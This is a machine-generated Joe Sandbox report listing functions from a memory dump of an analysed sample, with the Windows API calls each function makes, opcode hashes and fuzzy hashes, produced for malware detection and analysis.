Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: b10a7075b1749a087d51f368f9efa6c9dccfcfe6a17e131be01c3e6359cf8911
Instruction ID: 03316afbfc9562149c57a1d120d77e5a9db2d110f14fd757a59f69ac109d6b5d
Opcode Fuzzy Hash: b10a7075b1749a087d51f368f9efa6c9dccfcfe6a17e131be01c3e6359cf8911
Instruction Fuzzy Hash: 23B13FB190011EABDF11EBA4CC89EEE7F7DFF49350F1044A6FA09E6141EA359A448F61

Function 0060A387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0060A427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0060A435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0060A468
CloseHandle.KERNEL32(?), ref: 0060A63D

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: aa9169ab4d65a71f77908f43689710bef49097bb68022df8a35e9e207c0e3a0a
Instruction ID: 9a5fb9cff017a5ce74b080cbd12f6b0245ebdf5b7ebeb559a270c2d29b4f86c9
Opcode Fuzzy Hash: aa9169ab4d65a71f77908f43689710bef49097bb68022df8a35e9e207c0e3a0a
Instruction Fuzzy Hash: 2BA1A1716443019FE724DF24D886B2ABBE6BF84714F14881DF95A9B3D2D770EC418B91

Function 005EE3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005EDDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,005ECF22,?), ref: 005EDDFD

Part of subcall function 005EDDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,005ECF22,?), ref: 005EDE16

Part of subcall function 005EE199: GetFileAttributesW.KERNEL32(?,005ECF95), ref: 005EE19A

lstrcmpiW.KERNEL32(?,?), ref: 005EE473
MoveFileW.KERNEL32(?,?), ref: 005EE4AC
_wcslen.LIBCMT ref: 005EE5EB
_wcslen.LIBCMT ref: 005EE603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 005EE650

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 2c9ed8db5fba199d1255d50ac459d6555031cd310def6053076a83ee3b7957d3
Instruction ID: b880a034188fc6ed9d1bf27fb06ff32a123a8c0c06bd63aac9194963ad396bb1
Opcode Fuzzy Hash: 2c9ed8db5fba199d1255d50ac459d6555031cd310def6053076a83ee3b7957d3
Instruction Fuzzy Hash: 285182B24083855BC728EB90D8869DF7BEDBFC5340F00491EF5C9D3191EE75A5888B66

Function 005E8BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 005E8BCD
VariantClear.OLEAUT32 ref: 005E8C3E
VariantClear.OLEAUT32 ref: 005E8C9D
VariantClear.OLEAUT32(?), ref: 005E8D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 005E8D3B

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 878a4bfc2372ddeb8ad68dfc9a4ccaa1683569443359b66fdfab98c0109c1631
Instruction ID: ccf1de3e433d3159a4f960e118805802b3e2429193f26846c6992333430b46f0
Opcode Fuzzy Hash: 878a4bfc2372ddeb8ad68dfc9a4ccaa1683569443359b66fdfab98c0109c1631
Instruction Fuzzy Hash: 2A5198B5A00219EFCB14CF29C884AAABBF9FF89310B158559F949DB350E730E911CF90

Function 005F8AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 005F8BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 005F8BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 005F8C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 005F8C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 005F8C5F

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 9fbfcbe3dfc12dd0508c22b9ad5f38af19fd0677238e06b5f169aeba25317ffa
Instruction ID: 4aff19aa5af4311e4aa321f4f779996de44d243c1858d6e1aaece624409f2a9f
Opcode Fuzzy Hash: 9fbfcbe3dfc12dd0508c22b9ad5f38af19fd0677238e06b5f169aeba25317ffa
Instruction Fuzzy Hash: 39515B35A00219DFCB04EF64C885AADBBF5FF48314F088459E949AB362DB35ED41CBA0

Function 00608EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00608F40
GetProcAddress.KERNEL32(00000000,?), ref: 00608FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00608FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00609032
FreeLibrary.KERNEL32(00000000), ref: 00609052

Part of subcall function 0059F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,005F1043,?,7644E610), ref: 0059F6E6
Part of subcall function 0059F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,005DFA64,00000000,00000000,?,?,005F1043,?,7644E610,?,005DFA64), ref: 0059F70D

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: 33ddee1fa223536dea63c34a05a3f8e86a9a27f887347bd198da60b66a301c92
Instruction ID: 779a7b89483dcb246a40b79569c243491dbf44cf6e9df1996b48bc27afaaf301
Opcode Fuzzy Hash: 33ddee1fa223536dea63c34a05a3f8e86a9a27f887347bd198da60b66a301c92
Instruction Fuzzy Hash: 99512D35644206DFC715EF64C4858EEBBB2FF89354F088099E846AB362DB31ED85CB90

Function 00616B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00616C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00616C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00616C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,005FAB79,00000000,00000000), ref: 00616C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00616CC7

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: df5c538a2ff2604ce3d8bcd4288c5b3d16f939753fef83a85af28027a9e65884
Instruction ID: f8b8bf17ec8b6d862695817faab74c3b9a9eacc7be3548962ffb04414b670af0
Opcode Fuzzy Hash: df5c538a2ff2604ce3d8bcd4288c5b3d16f939753fef83a85af28027a9e65884
Instruction Fuzzy Hash: 41419239604104AFD724CF28CC58FE97BA6EB09360F194269F995A73E0D371AD91CA90

Function 005B2051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 005B20C3
_free.LIBCMT ref: 005B20E3

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: aecb030732eb3dbf0e472d58c2442e9bf7ad94d4c4af84da679b121b9ceffa3e
Instruction ID: b0ecafe299ee754b6606ff8c5aec606277a02de88ffd7e975e46177e9c59329c
Opcode Fuzzy Hash: aecb030732eb3dbf0e472d58c2442e9bf7ad94d4c4af84da679b121b9ceffa3e
Instruction Fuzzy Hash: CB41E232A00204AFCB20DF78C885A9DBBA5FF89714F158568E515EB352DB31BD01CBA0

Function 00600930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00600951
GetForegroundWindow.USER32 ref: 00600968
GetDC.USER32(00000000), ref: 006009A4
GetPixel.GDI32(00000000,?,00000003), ref: 006009B0
ReleaseDC.USER32(00000000,00000003), ref: 006009E8

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 696788bea1efe3f1cd6616f83c4ce3aaf40f9ff388249c8ecec54bd7d9561cec
Instruction ID: 15128b4846177aa3062f53d66fd884ed617b5b8313e488ef0a0aa5b2e663e6d4
Opcode Fuzzy Hash: 696788bea1efe3f1cd6616f83c4ce3aaf40f9ff388249c8ecec54bd7d9561cec
Instruction Fuzzy Hash: 72218475640204AFE704EF65D949AAEBBE9FF84710F048069E94AA7352DB70AC04CB90

Function 005BCDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 005BCDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005BCDE9

Part of subcall function 005B3820: RtlAllocateHeap.NTDLL(00000000,?,00651444,?,0059FDF5,?,?,0058A976,00000010,00651440,005813FC,?,005813C6,?,00581129), ref: 005B3852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 005BCE0F
_free.LIBCMT ref: 005BCE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 005BCE31

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: f0c0d8c1705287d05e56379c1a73403746a3b3bb75fac4a5f426f09213715b9f
Instruction ID: c770dbd277f8a34be6c03b9e4e47ccd1d214a3e4e788323ec5327598a0a302e8
Opcode Fuzzy Hash: f0c0d8c1705287d05e56379c1a73403746a3b3bb75fac4a5f426f09213715b9f
Instruction Fuzzy Hash: 4F01FC72601215BF632216766C4CCFF7D6DFEC6BA1315412AFD05DB100DA60DD0181B4

Function 005B2DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,005AF2DE,005B3863,00651444,?,0059FDF5,?,?,0058A976,00000010,00651440,005813FC,?,005813C6), ref: 005B2DFD
_free.LIBCMT ref: 005B2E32
_free.LIBCMT ref: 005B2E59
SetLastError.KERNEL32(00000000,00581129), ref: 005B2E66
SetLastError.KERNEL32(00000000,00581129), ref: 005B2E6F

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: d59d104bb640d44ab7a2a75f4fe7283ef56726b68cd7648e6644a710e0dadeb2
Instruction ID: 889afd400a38d4e1f99a97b83e3cc80592b3810f63b88a4fe0a3a8e1aae81b69
Opcode Fuzzy Hash: d59d104bb640d44ab7a2a75f4fe7283ef56726b68cd7648e6644a710e0dadeb2
Instruction Fuzzy Hash: 7601F43624560167C713673A6C49DFF2E6EBBD53B1F258829F825A2292EE24EC014030

Function 005E000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,005DFF41,80070057,?,?,?,005E035E), ref: 005E002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,005DFF41,80070057,?,?), ref: 005E0046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,005DFF41,80070057,?,?), ref: 005E0054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,005DFF41,80070057,?), ref: 005E0064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,005DFF41,80070057,?,?), ref: 005E0070

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: b8286937635dd4db6a976d256e21057f6649b91bb44225114dd2db102ad82291
Instruction ID: 544d51d06445fffaf6805d263e3795f61ed43ae0b39cedd391300e8fb6bc1547
Opcode Fuzzy Hash: b8286937635dd4db6a976d256e21057f6649b91bb44225114dd2db102ad82291
Instruction Fuzzy Hash: BA01DF72600204BFDB109F6ADC48BAE7EAEFB44361F18A025F841D2250D7B0DD809BA0

Function 005EE97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 005EE997
QueryPerformanceFrequency.KERNEL32(?), ref: 005EE9A5
Sleep.KERNEL32(00000000), ref: 005EE9AD
QueryPerformanceCounter.KERNEL32(?), ref: 005EE9B7
Sleep.KERNEL32 ref: 005EE9F3

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 5f12249a3a2fc5858ffadb8c459f2b03563bf160b1d4280bf77d593d06fe4469
Instruction ID: 799b183c4b657d1ca6dd4f48fa778cc7a6d1c3b5de06c6e7c59e22f2f7bf3724
Opcode Fuzzy Hash: 5f12249a3a2fc5858ffadb8c459f2b03563bf160b1d4280bf77d593d06fe4469
Instruction Fuzzy Hash: 20015731C51629EBCF04ABE6D84AAEDBBB9BB09310F044546E542F2242CB309650CBA1

Function 005F030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,005F017D,?,005F32FC,?,00000001,005C2592,?), ref: 005F0324
CloseHandle.KERNEL32(?,?,?,?,005F017D,?,005F32FC,?,00000001,005C2592,?), ref: 005F0331
CloseHandle.KERNEL32(?,?,?,?,005F017D,?,005F32FC,?,00000001,005C2592,?), ref: 005F033E
CloseHandle.KERNEL32(?,?,?,?,005F017D,?,005F32FC,?,00000001,005C2592,?), ref: 005F034B
CloseHandle.KERNEL32(?,?,?,?,005F017D,?,005F32FC,?,00000001,005C2592,?), ref: 005F0358
CloseHandle.KERNEL32(?,?,?,?,005F017D,?,005F32FC,?,00000001,005C2592,?), ref: 005F0365

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 295604580c55f7d0ac86803ab912812443e5efa5512bdb14184813a85ce9fd3e
Instruction ID: df59b523a181f7b97fa4e2ff6f76ea3d8e6cf535080a567dfeeaee9080114130
Opcode Fuzzy Hash: 295604580c55f7d0ac86803ab912812443e5efa5512bdb14184813a85ce9fd3e
Instruction Fuzzy Hash: F101A272800B199FC7309F66D880826FBF5BF503153199E3FD296529B2C375A954CF80

Function 005B22A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005B22BE

Part of subcall function 005B29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,005BD7D1,00000000,00000000,00000000,00000000,?,005BD7F8,00000000,00000007,00000000,?,005BDBF5,00000000), ref: 005B29DE
Part of subcall function 005B29C8: GetLastError.KERNEL32(00000000,?,005BD7D1,00000000,00000000,00000000,00000000,?,005BD7F8,00000000,00000007,00000000,?,005BDBF5,00000000,00000000), ref: 005B29F0

_free.LIBCMT ref: 005B22D0
_free.LIBCMT ref: 005B22E3
_free.LIBCMT ref: 005B22F4
_free.LIBCMT ref: 005B2305

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1a6e59b7db16926035ebca4bd03e137450fe7be1ed8d0d1b1e025d398855e464
Instruction ID: 765f60382ef953bca31528d5c0bb9329ae15bbf024dc02dd6676222593c0a6ea
Opcode Fuzzy Hash: 1a6e59b7db16926035ebca4bd03e137450fe7be1ed8d0d1b1e025d398855e464
Instruction Fuzzy Hash: A2F030744013129BD752EF64BC059983F67B719762F012A06F81CD7371C73066919BB5

Function 006061D0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 324COMMON

Download Yara Rule

APIs

Part of subcall function 005A0242: EnterCriticalSection.KERNEL32(0065070C,00651884,?,?,0059198B,00652518,?,?,?,005812F9,00000000), ref: 005A024D
Part of subcall function 005A0242: LeaveCriticalSection.KERNEL32(0065070C,?,0059198B,00652518,?,?,?,005812F9,00000000), ref: 005A028A

Part of subcall function 005A00A3: __onexit.LIBCMT ref: 005A00A9

__Init_thread_footer.LIBCMT ref: 00606238

Part of subcall function 005A01F8: EnterCriticalSection.KERNEL32(0065070C,?,?,00598747,00652514), ref: 005A0202
Part of subcall function 005A01F8: LeaveCriticalSection.KERNEL32(0065070C,?,00598747,00652514), ref: 005A0235

Part of subcall function 005F359C: LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 005F35E4
Part of subcall function 005F359C: LoadStringW.USER32(00652390,?,00000FFF,?), ref: 005F360A

Strings

x#e, xrefs: 0060636F
x#e, xrefs: 0060633A
x#e, xrefs: 00606353

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CriticalSection$EnterLeaveLoadString$Init_thread_footer__onexit
String ID: x#e$x#e$x#e
API String ID: 1072379062-426434576
Opcode ID: 81d54890b4b1cdf5b54838d4ab0c2744310d51f7eb7623a51f17d981e977b727
Instruction ID: 314903cdf56788e6c3422317b0e4a21fefddf9b0b2cc02b766bbc5b6106fc1d8
Opcode Fuzzy Hash: 81d54890b4b1cdf5b54838d4ab0c2744310d51f7eb7623a51f17d981e977b727
Instruction Fuzzy Hash: B2C18E71A40106AFDB18DF58C895EBEBBBAFF49300F148069F905AB291DB70ED55CB90

Function 005B8A61 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000002,00000000,?,?,?,00000000,?,?,?,?), ref: 005B8B6E
GetLastError.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,00000000,00001000,?), ref: 005B8B7A
__dosmaperr.LIBCMT ref: 005B8B81

Strings

.Z, xrefs: 005B8A63

